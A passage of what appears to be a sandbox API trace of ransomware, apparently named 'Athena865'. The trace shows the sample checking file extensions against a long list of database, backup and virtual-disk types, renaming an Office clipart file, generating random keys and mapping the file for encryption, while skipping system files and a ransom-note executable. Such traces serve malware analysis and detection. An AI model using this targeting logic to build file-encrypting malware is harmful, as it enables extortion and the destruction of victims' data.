12 [0127.645] lstrlenW (lpString="bak") returned 3 [0127.645] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.646] lstrlenW (lpString="ba_") returned 3 [0127.646] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.646] lstrlenW (lpString="dbb") returned 3 [0127.646] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.646] lstrlenW (lpString="vmdk") returned 4 [0127.646] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.647] lstrlenW (lpString="rar") returned 3 [0127.647] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.647] lstrlenW (lpString="zip") returned 3 [0127.647] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.647] lstrlenW (lpString="tgz") returned 3 [0127.647] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.648] lstrlenW (lpString="vbox") returned 4 [0127.648] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.648] lstrlenW (lpString="vdi") returned 3 [0127.648] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.648] lstrlenW (lpString="vhd") returned 3 [0127.648] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.648] lstrlenW (lpString="vhdx") returned 4 [0127.648] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.648] lstrlenW (lpString="avhd") returned 4 [0127.649] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.650] lstrlenW (lpString="db") returned 2 [0127.651] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.652] lstrlenW (lpString="db2") returned 3 [0127.652] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.652] lstrlenW (lpString="db3") returned 3 [0127.652] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.653] lstrlenW (lpString="dbf") returned 3 [0127.653] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.653] lstrlenW (lpString="mdf") returned 3 [0127.653] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.653] lstrlenW (lpString="mdb") returned 3 [0127.653] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.653] lstrlenW (lpString="sql") returned 3 [0127.653] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.654] lstrlenW (lpString="sqlite") returned 6 [0127.654] lstrcmpiW (lpString1="73.WMF", lpString2="sqlite") returned -1 [0127.654] lstrlenW (lpString="sqlite3") returned 7 [0127.654] lstrcmpiW (lpString1="273.WMF", lpString2="sqlite3") returned -1 [0127.654] lstrlenW (lpString="sqlitedb") returned 8 [0127.654] lstrcmpiW (lpString1="0273.WMF", lpString2="sqlitedb") returned -1 [0127.654] lstrlenW (lpString="xml") returned 3 [0127.654] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.654] lstrlenW (lpString="$er") returned 3 [0127.654] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.655] lstrlenW (lpString="4dd") returned 3 [0127.656] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.657] lstrlenW (lpString="4dl") returned 3 [0127.657] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.658] lstrlenW (lpString="^^^") returned 3 [0127.659] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.659] lstrlenW (lpString="abs") returned 3 [0127.661] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.662] lstrlenW (lpString="abx") returned 3 [0127.662] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.662] lstrlenW (lpString="accdb") returned 5 [0127.662] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0127.662] lstrlenW (lpString="accdc") returned 5 [0127.662] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0127.662] lstrlenW (lpString="accde") returned 5 [0127.662] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0127.662] lstrlenW (lpString="accdr") returned 5 [0127.663] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0127.663] lstrlenW (lpString="accdt") returned 5 [0127.663] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0127.663] lstrlenW (lpString="accdw") returned 5 [0127.663] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0127.663] lstrlenW (lpString="accft") returned 5 [0127.664] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0127.664] lstrlenW (lpString="adb") returned 3 [0127.665] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.665] lstrlenW (lpString="adb") returned 3 [0127.666] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.666] lstrlenW (lpString="ade") returned 3 [0127.667] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.667] lstrlenW (lpString="adf") returned 3 [0127.667] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.667] lstrlenW (lpString="adn") returned 3 [0127.667] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.667] lstrlenW (lpString="adp") returned 3 [0127.667] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.668] lstrlenW (lpString="alf") returned 3 [0127.668] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.668] lstrlenW (lpString="ask") returned 3 [0127.668] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.669] lstrlenW (lpString="btr") returned 3 [0127.669] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.669] lstrlenW (lpString="cat") returned 3 [0127.669] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.669] lstrlenW (lpString="cdb") returned 3 [0127.669] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.669] lstrlenW (lpString="ckp") returned 3 [0127.669] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.669] lstrlenW (lpString="cma") returned 3 [0127.669] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.670] lstrlenW (lpString="cpd") returned 3 [0127.670] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.671] lstrlenW (lpString="dacpac") returned 6 [0127.671] lstrcmpiW (lpString1="73.WMF", lpString2="dacpac") returned -1 [0127.671] lstrlenW (lpString="dad") returned 3 [0127.672] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.673] lstrlenW (lpString="dadiagrams") returned 10 [0127.673] lstrcmpiW (lpString1="200273.WMF", lpString2="dadiagrams") returned -1 [0127.673] lstrlenW (lpString="daschema") returned 8 [0127.673] lstrcmpiW (lpString1="0273.WMF", lpString2="daschema") returned -1 [0127.673] lstrlenW (lpString="db-journal") returned 10 [0127.673] lstrcmpiW (lpString1="200273.WMF", lpString2="db-journal") returned -1 [0127.673] lstrlenW (lpString="db-shm") returned 6 [0127.673] lstrcmpiW (lpString1="73.WMF", lpString2="db-shm") returned -1 [0127.674] lstrlenW (lpString="db-wal") returned 6 [0127.674] lstrcmpiW (lpString1="73.WMF", lpString2="db-wal") returned -1 [0127.674] lstrlenW (lpString="dbc") returned 3 [0127.674] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.675] lstrlenW (lpString="dbs") returned 3 [0127.675] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.676] lstrlenW (lpString="dbt") returned 3 [0127.677] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.677] lstrlenW (lpString="dbv") returned 3 [0127.677] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.678] lstrlenW (lpString="dbx") returned 3 [0127.678] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.678] lstrlenW (lpString="dcb") returned 3 [0127.678] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.678] lstrlenW (lpString="dct") returned 3 [0127.678] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.678] lstrlenW (lpString="dcx") returned 3 [0127.678] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0127.679] lstrlenW (lpString="ddl") returned 3 [0127.679] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0127.679] lstrlenW (lpString="dlis") returned 4 [0127.679] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0127.679] lstrlenW (lpString="dp1") returned 3 [0127.679] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0127.679] lstrlenW (lpString="dqy") returned 3 [0127.679] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0127.679] lstrlenW (lpString="dsk") returned 3 [0127.679] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0127.679] lstrlenW (lpString="dsn") returned 3 [0127.680] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0127.680] lstrlenW (lpString="dtsx") returned 4 [0127.680] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0127.680] lstrlenW (lpString="dxl") returned 3 [0127.680] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0127.680] lstrlenW (lpString="eco") returned 3 [0127.680] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0127.680] lstrlenW (lpString="ecx") returned 3 [0127.681] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0127.681] lstrlenW (lpString="edb") returned 3 [0127.681] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0127.681] lstrlenW (lpString="epim") returned 4 [0127.682] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0127.682] lstrlenW (lpString="fcd") returned 3 [0127.682] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0127.682] lstrlenW (lpString="fdb") returned 3 [0127.682] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0127.682] lstrlenW (lpString="fic") returned 3 [0127.682] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0127.682] lstrlenW (lpString="flexolibrary") returned 12 [0127.682] lstrlenW (lpString="fm5") returned 3 [0127.682] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0127.683] lstrlenW (lpString="fmp") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0127.683] lstrlenW (lpString="fmp12") returned 5 [0127.683] lstrcmpiW (lpString1="3.WMF", lpString2="fmp12") returned -1 [0127.683] lstrlenW (lpString="fmpsl") returned 5 [0127.683] lstrcmpiW (lpString1="3.WMF", lpString2="fmpsl") returned -1 [0127.683] lstrlenW (lpString="fol") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0127.683] lstrlenW (lpString="fp3") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0127.683] lstrlenW (lpString="fp4") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0127.683] lstrlenW (lpString="fp5") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0127.683] lstrlenW (lpString="fp7") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0127.683] lstrlenW (lpString="fpt") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0127.683] lstrlenW (lpString="frm") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0127.683] lstrlenW (lpString="gdb") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.683] lstrlenW (lpString="gdb") returned 3 [0127.683] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.683] lstrlenW (lpString="grdb") returned 4 [0127.684] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0127.684] lstrlenW (lpString="gwi") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0127.684] lstrlenW (lpString="hdb") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0127.684] lstrlenW (lpString="his") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0127.684] lstrlenW (lpString="ib") returned 2 [0127.684] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0127.684] lstrlenW (lpString="idb") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0127.684] lstrlenW (lpString="ihx") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0127.684] lstrlenW (lpString="itdb") returned 4 [0127.684] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0127.684] lstrlenW (lpString="itw") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0127.684] lstrlenW (lpString="jet") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0127.684] lstrlenW (lpString="jtx") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0127.684] lstrlenW (lpString="kdb") returned 3 [0127.684] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0127.684] lstrlenW (lpString="kexi") returned 4 [0127.684] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0127.684] lstrlenW (lpString="kexic") returned 5 [0127.685] lstrcmpiW (lpString1="3.WMF", lpString2="kexic") returned -1 [0127.685] lstrlenW (lpString="kexis") returned 5 [0127.685] lstrcmpiW (lpString1="3.WMF", lpString2="kexis") returned -1 [0127.685] lstrlenW (lpString="lgc") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0127.685] lstrlenW (lpString="lwx") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0127.685] lstrlenW (lpString="maf") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0127.685] lstrlenW (lpString="maq") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0127.685] lstrlenW (lpString="mar") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0127.685] lstrlenW (lpString="marshal") returned 7 [0127.685] lstrcmpiW (lpString1="273.WMF", lpString2="marshal") returned -1 [0127.685] lstrlenW (lpString="mas") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0127.685] lstrlenW (lpString="mav") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0127.685] lstrlenW (lpString="maw") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0127.685] lstrlenW (lpString="mdbhtml") returned 7 [0127.685] lstrcmpiW (lpString1="273.WMF", lpString2="mdbhtml") returned -1 [0127.685] lstrlenW (lpString="mdn") returned 3 [0127.685] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0127.685] lstrlenW (lpString="mdt") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0127.686] lstrlenW (lpString="mfd") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0127.686] lstrlenW (lpString="mpd") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0127.686] lstrlenW (lpString="mrg") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0127.686] lstrlenW (lpString="mud") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0127.686] lstrlenW (lpString="mwb") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0127.686] lstrlenW (lpString="myd") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0127.686] lstrlenW (lpString="ndf") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0127.686] lstrlenW (lpString="nnt") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0127.686] lstrlenW (lpString="nrmlib") returned 6 [0127.686] lstrcmpiW (lpString1="73.WMF", lpString2="nrmlib") returned -1 [0127.686] lstrlenW (lpString="ns2") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0127.686] lstrlenW (lpString="ns3") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0127.686] lstrlenW (lpString="ns4") returned 3 [0127.686] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0127.687] lstrlenW (lpString="nsf") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0127.687] lstrlenW (lpString="nv") returned 2 [0127.687] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0127.687] lstrlenW (lpString="nv2") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0127.687] lstrlenW (lpString="nwdb") returned 4 [0127.687] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0127.687] lstrlenW (lpString="nyf") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0127.687] lstrlenW (lpString="odb") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.687] lstrlenW (lpString="odb") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.687] lstrlenW (lpString="oqy") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0127.687] lstrlenW (lpString="ora") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0127.687] lstrlenW (lpString="orx") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0127.687] lstrlenW (lpString="owc") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0127.687] lstrlenW (lpString="p96") returned 3 [0127.687] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0127.687] lstrlenW (lpString="p97") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0127.688] lstrlenW (lpString="pan") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0127.688] lstrlenW (lpString="pdb") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0127.688] lstrlenW (lpString="pdm") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0127.688] lstrlenW (lpString="pnz") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0127.688] lstrlenW (lpString="qry") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0127.688] lstrlenW (lpString="qvd") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0127.688] lstrlenW (lpString="rbf") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0127.688] lstrlenW (lpString="rctd") returned 4 [0127.688] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0127.688] lstrlenW (lpString="rod") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0127.688] lstrlenW (lpString="rodx") returned 4 [0127.688] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0127.688] lstrlenW (lpString="rpd") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0127.688] lstrlenW (lpString="rsd") returned 3 [0127.688] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0127.689] lstrlenW (lpString="sas7bdat") returned 8 [0127.689] lstrcmpiW (lpString1="0273.WMF", lpString2="sas7bdat") returned -1 [0127.689] lstrlenW (lpString="sbf") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0127.689] lstrlenW (lpString="scx") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0127.689] lstrlenW (lpString="sdb") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0127.689] lstrlenW (lpString="sdc") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0127.689] lstrlenW (lpString="sdf") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0127.689] lstrlenW (lpString="sis") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0127.689] lstrlenW (lpString="spq") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0127.689] lstrlenW (lpString="te") returned 2 [0127.689] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0127.689] lstrlenW (lpString="teacher") returned 7 [0127.689] lstrcmpiW (lpString1="273.WMF", lpString2="teacher") returned -1 [0127.689] lstrlenW (lpString="tmd") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0127.689] lstrlenW (lpString="tps") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0127.689] lstrlenW (lpString="trc") returned 3 [0127.689] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.689] lstrlenW (lpString="trc") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.690] lstrlenW (lpString="trm") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0127.690] lstrlenW (lpString="udb") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0127.690] lstrlenW (lpString="udl") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0127.690] lstrlenW (lpString="usr") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0127.690] lstrlenW (lpString="v12") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0127.690] lstrlenW (lpString="vis") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0127.690] lstrlenW (lpString="vpd") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0127.690] lstrlenW (lpString="vvv") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0127.690] lstrlenW (lpString="wdb") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0127.690] lstrlenW (lpString="wmdb") returned 4 [0127.690] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0127.690] lstrlenW (lpString="wrk") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0127.690] lstrlenW (lpString="xdb") returned 3 [0127.690] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0127.690] lstrlenW (lpString="xld") returned 3 [0127.691] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0127.691] lstrlenW (lpString="xmlff") returned 5 [0127.691] lstrcmpiW (lpString1="3.WMF", lpString2="xmlff") returned -1 [0127.691] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.Athena865") returned 73 [0127.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.athena865"), dwFlags=0x1) returned 1 [0127.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.692] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31302) returned 1 [0127.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0127.692] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0127.693] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0127.693] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.693] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d50, lpName=0x0) returned 0x154 [0127.695] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d50) returned 0x100000 [0127.697] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0127.698] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0127.698] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.698] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.698] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.699] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.699] CloseHandle (hObject=0x154) returned 1 [0127.699] CloseHandle (hObject=0x17c) returned 1 [0127.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.699] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.700] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.700] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2=".") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="..") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="windows") returned -1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="bootmgr") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="temp") returned -1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="pagefile.sys") returned -1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="boot") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="ids.txt") returned 1 [0127.700] lstrcmpiW (lpString1="J0200279.WMF", lpString2="ntuser.dat") returned -1 [0127.700] lstrcmpiW 